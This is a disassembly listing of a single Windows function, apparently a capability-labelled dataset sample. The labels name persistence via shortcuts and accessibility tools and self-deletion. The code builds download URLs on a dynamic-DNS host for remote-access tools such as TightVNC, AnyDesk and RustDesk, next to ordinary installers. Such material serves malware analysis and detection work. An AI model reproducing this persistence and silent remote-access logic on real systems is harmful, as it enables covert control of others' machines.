Function at 0x401000
Capabilities:
Allocate thread local storage
Check http status code
Move file
Persist via lnk shortcut
Persist via windows accessibility tools
Resolve function by parsing pe exports
Self delete

Disassembly:
push 0x8a4
push 0
push 0x4a5a70
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
call sub.KERNEL32.dll_GetModuleHandleA
mov dword [0x4a5a74], eax
push 0
push 0x1000
push 0
call sub.KERNEL32.dll_HeapCreate
mov dword [0x4a5a70], eax
mov eax, 0x4a3557
mov dword [0x4a5ca4], eax
call fcn.004446d0
call fcn.00443be6
call fcn.00443940
call fcn.00442e90
call fcn.00441741
call fcn.00440ef0
call fcn.004404d9
call fcn.0043eed7
call fcn.0043d85a
call fcn.0043d5d5
call fcn.0043bf30
call fcn.0043b95d
call fcn.0043a940
call fcn.004386e5
call fcn.00435594
call fcn.00433c55
call fcn.00432c57
call fcn.004324a4
call fcn.00431a8b
push 0x4a62bc
push 0
push 0x15
push 2
push 4
call fcn.0043d5fe
push 0x4a62c4
push 0
push 0x15
push 2
push 4
call fcn.0043d5fe
call fcn.004340f0
mov ebp, 0x4a0c1c
push ebp
push 0
call fcn.0043efe8
mov dword [0x4a5bb4], eax
mov ebp, 0x4a19f1
push ebp
push 1
call fcn.0043efe8
mov dword [0x4a5bbc], eax
mov ebp, 0x4a2010
push ebp
push 2
call fcn.0043efe8
mov dword [0x4a5bc0], eax
mov ebp, 0x4a258f
push ebp
push 3
call fcn.0043efe8
mov dword [0x4a5bc4], eax
mov ebp, 0x4a25fe
push ebp
push 4
call fcn.0043efe8
mov dword [0x4a5bc8], eax
mov ebp, 0x4a266a
push ebp
push 5
call fcn.0043efe8
mov dword [0x4a5bcc], eax
mov ebp, 0x4a26d8
push ebp
push 6
call fcn.0043efe8
mov dword [0x4a5bd0], eax
mov ebp, 0x4a2744
push ebp
push 7
call fcn.0043efe8
mov dword [0x4a5bd4], eax
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x3c
jl 0x4011ab
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x41
je 0x4011ab
jmp 0x4011b2
mov eax, 1
jmp 0x4011b4
xor eax, eax
and eax, eax
je 0x4011d3
mov eax, str.minimum
push eax
mov eax, str.Windows_XP
push eax
call fcn.00431af5
push 0
jmp 0x42c237
mov dword [0x4a5e04], 0
mov dword [0x4a6238], 3
mov dword [0x4a5d28], 5
mov dword [0x4a611c], 0x7e8
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov eax, dword [0x4a6238]
cdq
push edx
push eax
call fcn.00430760
mov edx, 0x49797d
push edx
call fcn.00444760
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov eax, dword [0x4a5d28]
cdq
push edx
push eax
call fcn.00430760
pop eax
mov edx, 0x49797d
push edx
call fcn.00444760
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov eax, dword [0x4a611c]
cdq
push edx
push eax
call fcn.00430760
pop eax
mov edx, str..tvnc2881.
push edx
call fcn.00444760
push 0x4a6130
call fcn.004447c0
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x64
jge 0x401295
mov eax, dword [0x4a5bd4]
mov dword [0x4a5bbc], eax
mov edx, str.https:__bios_ict.hr_dl_2023_
lea ecx, [0x4a5e74]
call fcn.00430008
mov edx, str.http:__bios_ict.ath.cx:6969_
lea ecx, [0x4a628c]
call fcn.00430008
mov edx, str.http:__192.168.0.120_
lea ecx, [0x4a5c44]
call fcn.00430008
mov edx, str..C:
lea ecx, [0x4a5ae8]
call fcn.00430008
mov dword [0x4a5f30], 0
push dword [0x4a5ae8]
call fcn.0042c803
and eax, eax
je 0x4012f8
mov dword [0x4a5f30], 1
mov dword [0x4a5ce0], 0
push 0
call fcn.00438413
push edx
push eax
push 0
push 0x400
push dword [esp + 0xc]
push dword [esp + 0xc]
call fcn.00430010
mov dword [esp], eax
mov dword [esp + 4], edx
push 0
push 0x400
push dword [esp + 0xc]
push dword [esp + 0xc]
call fcn.00430010
mov dword [esp], eax
mov dword [esp + 4], edx
pop ebx
pop edi
cmp edi, 0
jg 0x40135f
jl 0x40135b
cmp ebx, 0xc00
ja 0x40135f
xor eax, eax
jmp 0x401364
mov eax, 1
or eax, eax
jne 0x401372
mov dword [0x4a5ce0], 1
push 0
push 0
push 0
push 1
push 1
push 0x7e9
call fcn.0043c79f
mov dword [0x4a5c3c], eax
push 0
push 0
push 0
push 1
push 1
push 0x7ea
call fcn.0043c79f
mov dword [0x4a6040], eax
push 0
push 0
push 0
push 0xe
push 1
push 0x7e4
call fcn.0043c79f
mov dword [0x4a5de0], eax
push 0
push 0
push 0
push 0xa
push 1
push 0x7e7
call fcn.0043c79f
mov dword [0x4a60d0], eax
push 0
push 0
push 0
push 0xa
push 0xa
push 0x7e7
call fcn.0043c79f
mov dword [0x4a5d20], eax
push 0
push 0
push 0
push 3
push 9
push 0x7e8
call fcn.0043c79f
mov dword [0x4a5ad4], eax
push 0
push 0
push 0
push 0xe
push 0xa
push 0x7e9
call fcn.0043c79f
mov dword [0x4a5f58], eax
push 0
push 0
push 0
push 0xd
push 0xa
push 0x7ea
call fcn.0043c79f
mov dword [0x4a5f5c], eax
push 0
push 0
push 0
push 9
push 1
push 0x7ed
call fcn.0043c79f
mov dword [0x4a5f6c], eax
push 0
push 0
push 0
push 0xc
push 1
push 0x7eb
call fcn.0043c79f
mov dword [0x4a5ff8], eax
push 0
push 0
push 0
push 0xc
push 1
push 0x7eb
call fcn.0043c79f
mov dword [0x4a6188], eax
push 0
push 0
push 0
push 9
push 1
push 0x7ed
call fcn.0043c79f
mov dword [0x4a6190], eax
push 0
push 0
push 0
push 0xe
push 0xa
push 0x7ef
call fcn.0043c79f
mov dword [0x4a61f8], eax
push 0
push 0
push 0
push 0xe
push 0xa
push 0x7f2
call fcn.0043c79f
mov dword [0x4a6204], eax
push 0
push 0
push 0
push 0xe
push 8
push 0x7e9
call fcn.0043c79f
mov dword [0x4a5d5c], eax
push 0
push 0
push 0
push 0xd
push 6
push 0x7e7
call fcn.0043c79f
mov dword [0x4a5cf8], eax
push 0
push 0
push 0
push 0xb
push 6
push 0x7e8
call fcn.0043c79f
mov dword [0x4a5f4c], eax
mov eax, dword [0x4a5d5c]
mov dword [0x4a5be8], eax
mov eax, dword [0x4a5d5c]
mov dword [0x4a5c98], eax
push 0
push 0
push 0
push 0xa
push 0xa
push 0x7e7
call fcn.0043c79f
mov dword [0x4a5f34], eax
push 0
push 0
push 0
push 8
push 0xa
push 0x7e8
call fcn.0043c79f
mov dword [0x4a5bf0], eax
push 0
push 0
push 0
push 8
push 0xa
push 0x7e8
call fcn.0043c79f
mov dword [0x4a5e30], eax
push 0
push 0
push 0
push 0xe
push 0xa
push 0x7e9
call fcn.0043c79f
mov dword [0x4a610c], eax
push 0
push 0
push 0
push 0xb
push 0xb
push 0x7e9
call fcn.0043c79f
mov dword [0x4a5d58], eax
push 0
push 0
push 0
push 0xa
push 0xb
push 0x7ea
call fcn.0043c79f
mov dword [0x4a5ddc], eax
push 0
push 0
push 0
push 0x16
push 0xa
push 0x7d9
call fcn.0043c79f
mov dword [0x4a5c84], eax
push 0
push 0
push 0
push 1
push 8
push 0x7dc
call fcn.0043c79f
mov dword [0x4a5c7c], eax
push 0
push 0
push 0
push 0x1b
push 8
push 0x7dd
call fcn.0043c79f
mov dword [0x4a5ae0], eax
push 0
push 0
push 0
push 0x1a
push 9
push 0x7e0
call fcn.0043c79f
mov dword [0x4a5c90], eax
push 0
push 0
push 0
push 0x1d
push 7
push 0x7df
call fcn.0043c79f
mov dword [0x4a5d70], eax
push 0
push 0
push 0
push 2
push 8
push 0x7e0
call fcn.0043c79f
mov dword [0x4a5d74], eax
push 0
push 0
push 0
push 0xd
push 0xb
push 0x7e2
call fcn.0043c79f
mov dword [0x4a5d78], eax
push 0
push 0
push 0
push 0x10
push 0xb
push 0x7e5
call fcn.0043c79f
mov dword [0x4a5d70], eax
push 0
push 0
push 0
push 4
push 0xa
push 0x7e5
call fcn.0043c79f
mov dword [0x4a5cec], eax
push 0
push 0
push 0
push 0x14
push 9
push 0x7e6
call fcn.0043c79f
mov dword [0x4a5be0], eax
push 0
push 0
push 0
push 0x1f
push 0xa
push 0x7e7
call fcn.0043c79f
mov dword [0x4a5ac4], eax
call fcn.0043c985
mov ebx, eax
cmp ebx, dword [0x4a5d5c]
jge 0x401913
mov edx, dword [0x4a6130]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str..win10
push edx
call fcn.00444760
push 0x4a6130
call fcn.004447c0
jmp 0x4019ed
call fcn.0043c985
mov ebx, eax
cmp ebx, dword [0x4a5f5c]
jge 0x401950
mov edx, dword [0x4a6130]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str..ltsb2016
push edx
call fcn.00444760
push 0x4a6130
call fcn.004447c0
jmp 0x4019ed
call fcn.0043c985
mov ebx, eax
cmp ebx, dword [0x4a5f6c]
jge 0x40198a
mov edx, dword [0x4a6130]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str..ltsb2019
push edx
call fcn.00444760
push 0x4a6130
call fcn.004447c0
jmp 0x4019ed
call fcn.0043c985
mov ebx, eax
cmp ebx, dword [0x4a5ff8]
jge 0x4019c4
mov edx, dword [0x4a6130]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str..ltsb2021
push edx
call fcn.00444760
push 0x4a6130
call fcn.004447c0
jmp 0x4019ed
mov edx, dword [0x4a6130]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str..win11
push edx
call fcn.00444760
push 0x4a6130
call fcn.004447c0
mov edx, dword [0x4a6130]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, 0x49797d
push edx
call fcn.00444760
mov edx, dword [0x4a5ae8]
push edx
call fcn.00444760
mov edx, 0x497b96
push edx
call fcn.00444760
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a5ae8]
call fcn.0042c803
cdq
push edx
push eax
call fcn.00430760
pop eax
push 0x4a6130
call fcn.004447c0
mov dword [0x4a5fa4], 1
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x6e
jge 0x401a71
mov dword [0x4a5fa4], 0
mov edx, 0x497021
lea ecx, [0x4a5c50]
call fcn.00430008
mov edx, str.hde088s39fe.sn.mynetname.net
lea ecx, [0x4a5f98]
call fcn.00430008
mov edx, str.bios_ict.ath.cx
lea ecx, [0x4a5f9c]
call fcn.00430008
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a5f98]
call fcn.0042ee6f
push eax
call fcn.00434a79
push 0x4a5c48
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a5f9c]
call fcn.0042ee6f
push eax
call fcn.00434a79
push 0x4a5b34
call fcn.004447c0
push dword [0x4a5c48]
mov edx, str.0.0.0.0
pop ecx
call fcn.00430180
je 0x401b3b
push dword [0x4a5b34]
mov edx, str.0.0.0.0
pop ecx
call fcn.00430180
jne 0x401b3b
mov edx, dword [0x4a5f9c]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
push 0x4a5f98
call fcn.004447c0
call fcn.0042fd79
and eax, eax
je 0x401bac
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a5f98]
call fcn.0042ee6f
push eax
call fcn.00434a79
call fcn.00444850
push edx
call fcn.00444720
pop edx
push eax
call fcn.0042ed00
call fcn.004301b0
mov edx, eax
call fcn.004301b0
mov ecx, eax
call fcn.00430180
je 0x401baa
mov edx, dword [0x4a5c44]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
push 0x4a628c
call fcn.004447c0
jmp 0x401bca
mov edx, dword [0x4a5c44]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
push 0x4a628c
call fcn.004447c0
mov edx, dword [0x4a628c]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.vnc_tightvnc2881.exe
push edx
call fcn.00444760
push 0x4a5f48
call fcn.004447c0
mov edx, dword [0x4a628c]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.vnc_tightvnc2881_64.exe
push edx
call fcn.00444760
push 0x4a5e3c
call fcn.004447c0
mov edx, dword [0x4a628c]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.vnc_tightvnc2881.exe
push edx
call fcn.00444760
push 0x4a6294
call fcn.004447c0
mov edx, dword [0x4a628c]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.vnc_tightvnc2881_64.exe
push edx
call fcn.00444760
push 0x4a5b94
call fcn.004447c0
mov edx, str.https:__download.zerotier.com_dist_ZeroTier_20One.msi
lea ecx, [0x4a5fc0]
call fcn.00430008
mov edx, str.ZeroTier_One.msi
lea ecx, [0x4a5c8c]
call fcn.00430008
mov edx, str.AnyDesk.exe
lea ecx, [0x4a5f94]
call fcn.00430008
push edx
call fcn.00444720
pop edx
push eax
mov edx, str.https:__download.anydesk.com_
push edx
call fcn.00444760
mov edx, dword [0x4a5f94]
push edx
call fcn.00444760
push 0x4a5ad0
call fcn.004447c0
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.setups_
push edx
call fcn.00444760
mov edx, dword [0x4a5f94]
push edx
call fcn.00444760
push 0x4a5c88
call fcn.004447c0
mov edx, str.360TS_Setup_11.0.0.1099.exe
lea ecx, [0x4a6138]
call fcn.00430008
push edx
call fcn.00444720
pop edx
push eax
mov edx, str.https:__free.360totalsecurity.com_totalsecurity_
push edx
call fcn.00444760
mov edx, dword [0x4a6138]
push edx
call fcn.00444760
push 0x4a5c74
call fcn.004447c0
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.setups_
push edx
call fcn.00444760
mov edx, dword [0x4a6138]
push edx
call fcn.00444760
push 0x4a5dd8
call fcn.004447c0
mov edx, str.npe_x64.exe
lea ecx, [0x4a62b4]
call fcn.00430008
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.cleaner_
push edx
call fcn.00444760
mov edx, dword [0x4a62b4]
push edx
call fcn.00444760
push 0x4a5f70
call fcn.004447c0
mov edx, str.MicrosoftEdgeEnterpriseX86.msi
lea ecx, [0x4a609c]
call fcn.00430008
mov edx, str.MicrosoftEdgeEnterpriseX64.msi
lea ecx, [0x4a6098]
call fcn.00430008
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, 0x49f5b0
push edx
call fcn.00444760
mov edx, dword [0x4a609c]
push edx
call fcn.00444760
push 0x4a5f24
call fcn.004447c0
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, 0x49f5b0
push edx
call fcn.00444760
mov edx, dword [0x4a6098]
push edx
call fcn.00444760
push 0x4a5e24
call fcn.004447c0
mov edx, str.BraveBrowserStandaloneSilentSetup32.exe
lea ecx, [0x4a6050]
call fcn.00430008
mov edx, str.BraveBrowserStandaloneSilentSetup.exe
lea ecx, [0x4a615c]
call fcn.00430008
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, 0x49f5b0
push edx
call fcn.00444760
mov edx, dword [0x4a6050]
push edx
call fcn.00444760
push 0x4a5e58
call fcn.004447c0
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, 0x49f5b0
push edx
call fcn.00444760
mov edx, dword [0x4a615c]
push edx
call fcn.00444760
push 0x4a627c
call fcn.004447c0
mov edx, str.LibreOffice_7.5.9_Win_x86.msi
lea ecx, [0x4a5bf8]
call fcn.00430008
mov edx, str.LibreOffice_7.5.9_Win_x86_helppack_hr.msi
lea ecx, [0x4a5cb4]
call fcn.00430008
mov edx, str.LibreOffice_24.2.2_Win_x86_64.msi
lea ecx, [0x4a5d18]
call fcn.00430008
mov edx, str.LibreOffice_24.2.2_Win_x86_64_helppack_hr.msi
lea ecx, [0x4a6194]
call fcn.00430008
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, 0x49f5b0
push edx
call fcn.00444760
mov edx, dword [0x4a5bf8]
push edx
call fcn.00444760
push 0x4a61c0
call fcn.004447c0
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, 0x49f5b0
push edx
call fcn.00444760
mov edx, dword [0x4a5cb4]
push edx
call fcn.00444760
push 0x4a5c78
call fcn.004447c0
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, 0x49f5b0
push edx
call fcn.00444760
mov edx, dword [0x4a5d18]
push edx
call fcn.00444760
push 0x4a5bd8
call fcn.004447c0
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, 0x49f5b0
push edx
call fcn.00444760
mov edx, dword [0x4a6194]
push edx
call fcn.00444760
push 0x4a6250
call fcn.004447c0
mov edx, str.FoxitPDFReader20241_enu_Setup_Prom.exe
lea ecx, [0x4a5bb0]
call fcn.00430008
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, 0x49f5b0
push edx
call fcn.00444760
mov edx, dword [0x4a5bb0]
push edx
call fcn.00444760
push 0x4a6078
call fcn.004447c0
mov edx, str.PotPlayerSetup.exe
lea ecx, [0x4a614c]
call fcn.00430008
mov edx, str.PotPlayerSetup64.exe
lea ecx, [0x4a5d34]
call fcn.00430008
push edx
call fcn.00444720
pop edx
push eax
mov edx, str.https:__t1.daumcdn.net_potplayer_PotPlayer_Version_Latest_
push edx
call fcn.00444760
mov edx, dword [0x4a614c]
push edx
call fcn.00444760
push 0x4a5c80
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
mov edx, str.https:__t1.daumcdn.net_potplayer_PotPlayer_Version_Latest_
push edx
call fcn.00444760
mov edx, dword [0x4a5d34]
push edx
call fcn.00444760
push 0x4a5b5c
call fcn.004447c0
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, 0x49f5b0
push edx
call fcn.00444760
mov edx, dword [0x4a614c]
push edx
call fcn.00444760
push 0x4a5de8
call fcn.004447c0
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, 0x49f5b0
push edx
call fcn.00444760
mov edx, dword [0x4a5d34]
push edx
call fcn.00444760
push 0x4a5af0
call fcn.004447c0
mov edx, str.FSViewerSetup78.exe
lea ecx, [0x4a5d24]
call fcn.00430008
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, 0x49f5b0
push edx
call fcn.00444760
mov edx, dword [0x4a5d24]
push edx
call fcn.00444760
push 0x4a61e4
call fcn.004447c0
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.setups_geek.exe
push edx
call fcn.00444760
push 0x4a6060
call fcn.004447c0
mov edx, str.geek.exe
lea ecx, [0x4a61ac]
call fcn.00430008
mov edx, str.CrystalDiskInfo9_2_3.exe
lea ecx, [0x4a602c]
call fcn.00430008
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x6e
jge 0x4021a2
mov edx, str.CrystalDiskInfo8_17_14Lite.exe
lea ecx, [0x4a602c]
call fcn.00430008
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.setups_
push edx
call fcn.00444760
mov edx, dword [0x4a602c]
push edx
call fcn.00444760
push 0x4a5ea8
call fcn.004447c0
mov edx, str.7z2301.exe
lea ecx, [0x4a5ef4]
call fcn.00430008
mov edx, str.7z2301_x64.exe
lea ecx, [0x4a6234]
call fcn.00430008
push edx
call fcn.00444720
pop edx
push eax
mov edx, str.https:__www.7_zip.org_a_
push edx
call fcn.00444760
mov edx, dword [0x4a5ef4]
push edx
call fcn.00444760
push 0x4a6274
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
mov edx, str.https:__www.7_zip.org_a_
push edx
call fcn.00444760
mov edx, dword [0x4a6234]
push edx
call fcn.00444760
push 0x4a6270
call fcn.004447c0
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.setups_
push edx
call fcn.00444760
mov edx, dword [0x4a5ef4]
push edx
call fcn.00444760
push 0x4a5dd4
call fcn.004447c0
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.setups_
push edx
call fcn.00444760
mov edx, dword [0x4a6234]
push edx
call fcn.00444760
push 0x4a5fec
call fcn.004447c0
mov edx, str.OpenShellSetup_4_4_191.exe
lea ecx, [0x4a5aa8]
call fcn.00430008
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.setups_
push edx
call fcn.00444760
mov edx, dword [0x4a5aa8]
push edx
call fcn.00444760
push 0x4a616c
call fcn.004447c0
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.setups_WRCFree_11.1.4.719.exe
push edx
call fcn.00444760
push 0x4a6064
call fcn.004447c0
mov edx, str.WRCFree.exe
lea ecx, [0x4a5ba0]
call fcn.00430008
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.setups_WDCFree_11.1.1.826.exe
push edx
call fcn.00444760
push 0x4a6184
call fcn.004447c0
mov edx, str.WDCFree.exe
lea ecx, [0x4a5cd0]
call fcn.00430008
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.setups_aimp_4.70.2232.exe
push edx
call fcn.00444760
push 0x4a5f40
call fcn.004447c0
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.desktop_aimp_5.30.2549_w32.exe
push edx
call fcn.00444760
push 0x4a5b60
call fcn.004447c0
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.desktop_aimp_5.30.2549_w64.exe
push edx
call fcn.00444760
push 0x4a5f00
call fcn.004447c0
mov edx, str.aimp.exe
lea ecx, [0x4a60b4]
call fcn.00430008
mov edx, str.StartAllBack_3.7.9.exe
lea ecx, [0x4a5f7c]
call fcn.00430008
mov edx, dword [0x4a628c]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.win11_
push edx
call fcn.00444760
mov edx, dword [0x4a5f7c]
push edx
call fcn.00444760
push 0x4a5d54
call fcn.004447c0
mov edx, str.rustdesk_1.2.4_x86_sciter.exe
lea ecx, [0x4a62a4]
call fcn.00430008
mov edx, str.rustdesk_1.2.4_x86_64.exe
lea ecx, [0x4a5f88]
call fcn.00430008
mov edx, dword [0x4a628c]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.sfx_
push edx
call fcn.00444760
mov edx, dword [0x4a62a4]
push edx
call fcn.00444760
push 0x4a5fe4
call fcn.004447c0
mov edx, dword [0x4a628c]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.sfx_
push edx
call fcn.00444760
mov edx, dword [0x4a5f88]
push edx
call fcn.00444760
push 0x4a5fe0
call fcn.004447c0
mov edx, str.RustDesk.exe
lea ecx, [0x4a613c]
call fcn.00430008
mov edx, str.C:Program_FilesRustDeskRustDesk.exe
lea ecx, [0x4a5e84]
call fcn.00430008
mov edx, str.https:__ftp.mozilla.org_pub_firefox_releases_115.10.0esr_win32_hr_Firefox_20Setup_20115.10.0esr.exe
lea ecx, [0x4a6120]
call fcn.00430008
mov edx, str.https:__ftp.mozilla.org_pub_firefox_releases_115.10.0esr_win64_hr_Firefox_20Setup_20115.10.0esr.exe
lea ecx, [0x4a6118]
call fcn.00430008
mov edx, str.firefox_install.exe
lea ecx, [0x4a5ac0]
call fcn.00430008
mov edx, str.firefox64_install.exe
lea ecx, [0x4a5db0]
call fcn.00430008
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x50
jl 0x402543
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x69
jg 0x402543
mov eax, 1
jmp 0x402545
xor eax, eax
and eax, eax
je 0x402621
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.win7_
push edx
call fcn.00444760
mov edx, dword [0x4a6050]
push edx
call fcn.00444760
push 0x4a5e58
call fcn.004447c0
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.win7_
push edx
call fcn.00444760
mov edx, dword [0x4a615c]
push edx
call fcn.00444760
push 0x4a627c
call fcn.004447c0
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.win7_
push edx
call fcn.00444760
mov edx, dword [0x4a609c]
push edx
call fcn.00444760
push 0x4a5f24
call fcn.004447c0
mov edx, dword [0x4a5e74]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.win7_
push edx
call fcn.00444760
mov edx, dword [0x4a6098]
push edx
call fcn.00444760
push 0x4a5e24
call fcn.004447c0
push 0
push 0
push 0
push 4
push 4
push 0x7e7
call fcn.0043c79f
mov dword [0x4a5ce8], eax
push 0
push 0
push 0
push 0x19
push 8
push 0x7e7
call fcn.0043c79f
mov dword [0x4a5b24], eax
push 0
push 0
push 0
push 1
push 1
push 0x7e8
call fcn.0043c79f
mov dword [0x4a5ef8], eax
push 0
push 0
push 0
push 0x1d
push 1
push 0x7e8
call fcn.0043c79f
mov dword [0x4a6240], eax
push 0
push 0
push 0
push 0x1c
push 4
push 0x7e8
call fcn.0043c79f
mov dword [0x4a6044], eax
mov edx, str.c:Program_Files7_Zip7zG.exe
lea ecx, [0x4a5c5c]
call fcn.00430008
mov edx, str.C:Program_Files7_Zip7z.exe
lea ecx, [0x4a6070]
call fcn.00430008
mov dword [0x4a6264], 0
mov eax, str.C:caffecaffe.exe
push eax
call fcn.00439a18
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x402735
jl 0x402731
cmp ebx, 0x1869f
ja 0x402735
xor eax, eax
jmp 0x40273a
mov eax, 1
or eax, eax
je 0x40276d
mov eax, str.C:caffecaffe.exe.config
push eax
call fcn.00439a18
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x40275d
jl 0x402759
cmp ebx, 0x63
ja 0x40275d
xor eax, eax
jmp 0x402762
mov eax, 1
or eax, eax
je 0x40276d
mov eax, 1
jmp 0x40276f
xor eax, eax
and eax, eax
je 0x40277d
mov dword [0x4a6264], 1
mov edx, str.16101766338
lea ecx, [0x4a6144]
call fcn.00430008
mov edx, str.11111111119
lea ecx, [0x4a6110]
call fcn.00430008
mov edx, str.68731037764
lea ecx, [0x4a5b44]
call fcn.00430008
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
call fcn.004384a5
call fcn.004301d2
add dword [esp], edx
call fcn.00430980
mov edx, 0x49807a
push edx
call fcn.00444760
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
call fcn.00438535
cdq
push edx
push eax
call fcn.00430760
pop eax
push 0x4a5e54
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push 0
call fcn.00438413
mov dword [esp - 8], eax
mov dword [esp - 4], edx
fild qword [esp - 8]
fdiv qword [0x4a0bb0]
fdiv qword [0x4a0bb0]
sub esp, 8
fstp qword [esp]
call fcn.00433970
cdq
push edx
push eax
call fcn.00430760
mov edx, 0x49f123
push edx
call fcn.00444760
push 0x4a6034
call fcn.004447c0
mov edx, 0x497021
lea ecx, [0x4a5c04]
call fcn.00430008
mov edx, 0x497021
lea ecx, [0x4a5ef0]
call fcn.00430008
mov edx, 0x497021
lea ecx, [0x4a5b6c]
call fcn.00430008
mov edx, 0x497021
lea ecx, [0x4a5e38]
call fcn.00430008
mov edx, 0x497021
lea ecx, [0x4a60dc]
call fcn.00430008
mov edx, 0x497021
lea ecx, [0x4a5e88]
call fcn.00430008
mov edx, 0x497021
lea ecx, [0x4a5edc]
call fcn.00430008
mov edx, 0x497021
lea ecx, [0x4a5e70]
call fcn.00430008
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push 1
mov eax, 0x4976b5
push eax
mov eax, 0x4976b1
push eax
push dword [0x4a5e54]
call fcn.004309a0
push 0x4a5e54
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push 1
mov eax, 0x4976b5
push eax
mov eax, 0x49701e
push eax
push dword [0x4a5e54]
call fcn.004309a0
